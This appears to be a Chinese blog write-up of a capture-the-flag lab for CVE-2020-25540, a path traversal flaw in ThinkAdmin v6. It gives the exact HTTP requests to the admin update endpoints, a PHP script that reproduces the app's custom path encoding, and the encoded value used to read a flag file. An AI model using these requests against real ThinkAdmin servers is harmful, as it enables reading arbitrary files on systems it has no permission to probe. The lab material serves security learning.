春秋云镜——CVE-2020-25540

本博客所有网络安全相关教程、漏洞原理、渗透实操、攻防技术等内容,仅用于合法安全学习、白帽技术交流、企业授权安全测试。
所有技术严禁用于未授权探测、非法入侵、数据窃取、网络攻击等任何违反《中华人民共和国网络安全法》的违法行为。
任何个人利用本文内容实施违规操作,所产生的一切法律责任与后果均由当事人自行承担,与本人无关。
倡导正向网络安全学习,坚守白帽底线,共建清朗网络环境。

一、靶机介绍

ThinkAdmin 6版本存在路径遍历漏洞,可利用该漏洞通过GET请求编码参数任意读取远程服务器上的文件.

复制代码
POST /admin/index.php?s=admin/api.Update/node HTTP/2
Host: eci-2ze2reusg8pi7fbsqy9g.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

rules=["."]

二、环境信息

靶场地址http://eci-2ze2reusg8pi7fbsqy9g.cloudeci1.ichunqiu.com:80/admin/login.html

目标版本: ThinkAdmin v6(PHP 7.2.20)

工具:Burp Suite、PHP 在线运行环境

三、漏洞复现步骤

步骤 1:验证漏洞存在(目录遍历)

首先使用 node 接口验证目录遍历功能,确认漏洞存在:

构造 POST 请求

复制代码
POST /admin/index.php?s=admin/api.Update/node HTTP/1.1
Host: eci-2ze2reusg8pi7fbsqy9g.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

rules=["../../../flag"]

响应结果(成功)

**说明:**文件列表成功返回,且确认 ../../../flag 路径下存在目标文件,漏洞存在。

步骤 2:构造自定义加密算法

ThinkAdmin 的 get 接口使用了 UTF-8→GBK→36 进制两位补 0 的自定义加密算法,需编写 PHP 脚本生成正确的 encode 值:

加密脚本

复制代码
<?php
function encode($content)
{
    // 1. UTF-8转GBK
    $string = iconv('UTF-8', 'GBK//TRANSLIT', $content);
    $length = strlen($string);
    $chars = '';
    // 2. 每个字符转36进制,两位一组补0
    for ($i = 0; $i < $length; $i++) {
        $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
    }
    return $chars;
}

// 目标路径
$content = "../../../flag";
echo "Encode Result: " . encode($content);
?>

运行结果

得到加密后的 encode 值:lala1blala1blala1b2u302p2v

步骤 3:读取目标文件(flag)

使用生成的 encode 值构造 get 接口请求,读取 flag 文件:

构造 GET 请求(HTTP/1.1)

复制代码
GET /admin/index.php?s=admin/api.Update/get&encode=lala1blala1blala1b2u302p2v HTTP/1.1
Host: eci-2ze2reusg8pi7fbsqy9g.cloudeci1.ichunqiu.com

响应结果(解码前)

响应体为 Base64 编码内容

解码后得到:

相关推荐
爱吃苹果的梨叔23 分钟前
训练集群网络中断怎么办?智算机房的 Console 串口排障方案
网络·python·智能路由器·php
三垣网安4 小时前
一次学校系统水平越权漏洞的实战测试记录
安全
xiaohaiAIgeo5 小时前
【2026年】医药研发实验室GLP的通风设计要求:稳定性可验证性与合规性
网络·人工智能·科普知识
翼龙云_cloud5 小时前
亚马逊云渠道代理商:VPC 教程 利用 EC2 自建 NAT 实例降低私有子网出网成本
网络·云计算·aws
xiaoye-duck5 小时前
《Linux网络编程》UDP Socket 编程实战:从 Echo 回显、通用字典服务到套接字封装全流程
linux·网络·udp
酒神dnspup6 小时前
CDN 回源检测怎么做?用 DNSPup 验证节点命中、源站暴露与多地可用性
运维·服务器·网络·网络协议·tcp/ip
Rain的Java大神之路6 小时前
短信接口被狂刷怎么处理
java·运维·后端·web安全·面试·架构·xss
江南风月6 小时前
3分钟快速上手日志审计系统 WGLOG v2.2 更新了什么
运维·服务器·网络
Dawn-bit7 小时前
Linux网络进阶:TCP三次握手和四次挥手与TCP连接状态
linux·服务器·网络·tcp/ip·云计算·智能路由器
蓝速科技8 小时前
蓝速科技信创落地:平衡安全合规与项目成本的实战方案
android·运维·人工智能·科技·安全·电脑·鸿蒙